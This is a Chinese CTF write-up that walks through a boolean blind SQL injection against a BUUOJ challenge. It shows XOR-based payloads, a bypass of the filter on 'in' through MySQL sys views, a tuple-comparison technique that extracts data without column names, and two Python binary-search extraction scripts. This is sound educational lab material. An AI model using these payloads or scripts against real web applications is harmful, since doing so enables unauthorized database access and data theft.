打开靶机,查看源代码发现让post一个id过去,根据题目意思,这里应该存在sql注入
由于本人习惯性喜欢使用异或进行测试,所以立刻发现这道题的注入payload,以下是测试过程:
id=1^1 #Error Occured When Fetch Result.即id=0,查询无结果
id=1^0 #Nu1L id=1
id=1^'0' #Nu1L 数字型注入,若为单引号字符注入此处会报错bool(false)
id=1^'union' #SQL Injection Checked.过滤测试
通过测试发下union
、in
、or
、if
被过滤了
但是ascii
、substr
、select
、逗号
、左右括号
,=
,<
,>
都没有过滤。依旧可以sql盲注来爆数据库名。
常用sql盲注payload:
id=0^(ascii(substr(select database()),1,1))>97)
知识点1: 由于平台原因,我使用了二分法来爆破,容易爆破出结果,还不容易被断开连接。还可以使用time.sleep()函数,保证不会因为频繁的访问导致断开链接。
知识点2: 过滤了in导致information表不可用。可以参考这篇文章聊一聊bypass information_schema
由于performance_schema过于复杂,所以mysql在5.7版本中新增了sys 数据库,基础数据来自于performance_chema和information_schema两个库,本身数据库不存储数据。
查看数据版本信息select version()
,数据库版本为5.7.29
符合要求。
sys数据库中的以下三个视图中存储了表名table_name:
- sys.schema_auto_increment_columns #存在自增主键的表会出现在此视图
- sys.schema_table_statistics_with_buffer #数据来源视图
- sys.x$schema_table_statistics_with_buffer #数据来源视图
ps:高版本mysql的information_schema 数据库中还存在以下两个表可以查询表名和列名。
- INNODB_TABLES
- INNODB_COLUMNS
由于过滤了in,因此此处选择了sys.schema_table_statistics_with_buffer
表爆破表名。
附上二分法注入脚本
坑点:原文的编码为Windows-1252,必须设置响应包的编码t.encoding="Windows-1252"
不然会报错。
import requests
import time
import string
url="http://334f9701-ac6e-4158-b91b-450d336d1ca1.node3.buuoj.cn/"
flag=""
'''
for i in range(1,50):#flag长度
print(i,":")
low=32
high=128
mid = (low+high)//2
while low<=high:
#print(mid)
#for j in range(32,128):#可见字符长度
#payload="0^(ascii(substr(select database()),{0},1))>{1})".format(i,mid)
#payload="0^(ascii(substr(select version()),{0},1))>{1})".format(i,mid)
#payload="0^(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{0},1))>{1})".format(i,mid)
data={
"id":payload
}
t = requests.post(url,data=data)
#print(t.apparent_encoding)
t.encoding="Windows-1252"
print(t.text)
if("Nu1L" in t.text):
low=mid+1
mid = (low+high)//2
else:
high=mid-1
mid = (low+high)//2
flag+=chr(high+1)
print(flag)
time.sleep(2)
爆出表名为f1ag_1s_h3r3_hhhhh
知识点三: 表名是可以查出来了,可是列名呢?
1、利用报错爆出列名。
举个例子
可以看到查询出的结果将两个表的列名组合到一起产生了一个结果表,这个时候对这个结果表进行一次查询。
select * from test as a;
等同于select * from test a;
给test表起了一个别名
报错:重复的列名Id
。通过报错可以看到将列名爆了出来。但是此处无回显。故不可用。
2、无列名注入
参考CTF|mysql之无列名注入
在不知道列名的情况下进行 sql 注入
无列名注入的原理其实很简单,类似于将我们不知道的列名进行取别名操作,在取别名的同时进行数据查询,所以,如果我们查询的字段多于数据表中列的时候,就会出现报错。
举个例子:
列数不对时会报错。
可以看出我们的列名被1,2,3代替了,此时可以不需要列名,即可查询出表中的数据。
若反引号被过滤,也可使用别名代替。
但此处union被过滤了,故此方法不可用。
3、数据比较
参考无需“in”的SQL盲注
就是将查询语句与相同数量的列进行比较
举个例子
测试发现mysql在字符和数字比较的时候,会将字符串转成数字。而字符串之间的比较遵循从右到左
的优先级挨个比较。
通过这种方法,可以在不知道字段名的条件下将字段值爆出来。
测试了一下,发现列数为2
。(列数和数据为1
时报错bool(false)
)
在第一列通常为数字型的索引,猜测第二列即为flag值flag{xxx}
确定第一列为索引,值为1。为什么(1,1)>(1,‘flag’) =1呢,因为数字与字符串比较时,会将字符串转为数字flag=0. 所以(1,1)>(1,0)=1
此时
当f改为g是,即出现(1,‘g’) > (1,‘flag’) = 1。此时返回id=0^1=1
猜测正确。下面就是爆破出flag的值了。
附上python脚本:
flag=""
for j in range(1,50):
print(j,":")
low = 32
high = 128
mid=(low+high)//2
while low <=high:
print(mid)
flag1=flag+chr(mid)
payload="0^((1,'{0}')>(select * from f1ag_1s_h3r3_hhhhh))".format(flag1)
data={
"id":payload
}
t = requests.post(url,data=data)
t.encoding="Windows-1252"
#print(t.text)
if "Nu1L" in t.text:
high=mid-1
mid=(low+high)//2
else :
low = mid+1
mid=(low+high)//2
print(flag,chr(high))
flag+=chr(high)
time.sleep(2)
参考文章: https://www.jianshu.com/p/5aad090eb613
https://nosec.org/home/detail/3830.html
https://zhuanlan.zhihu.com/p/98206699?utm_source=wechat_session
https://www.anquanke.com/post/id/193512#h2-0